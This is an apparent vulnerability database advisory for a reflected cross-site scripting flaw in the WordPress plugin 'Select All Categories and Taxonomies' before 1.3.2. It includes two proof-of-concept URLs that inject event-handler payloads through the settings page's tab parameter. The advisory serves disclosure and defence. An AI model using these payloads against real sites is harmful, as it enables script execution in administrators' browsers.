Lucene search

K
wpexploitWpvulndbWPEX-ID:56E1BB56-BFC5-40DD-B2D0-EDEF43D89BDF
HistoryApr 23, 2021 - 12:00 a.m.

Select All Categories and Taxonomies < 1.3.2 - Reflected Cross-Site Scripting (XSS)

2021-04-2300:00:00
wpvulndb
308

The settings page of the plugin did not properly sanitise the tab parameter before outputting it back, leading to a reflected Cross-Site Scripting issue

https://example.com/wp-admin/options-general.php?page=moove-taxonomy-settings&tab=" onMouseOver="alert(1);

https://example.com/wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style%3D"animation-name%3Aspinner"+onanimationstart%3D"alert(%2FXSS%2F)
Related for WPEX-ID:56E1BB56-BFC5-40DD-B2D0-EDEF43D89BDF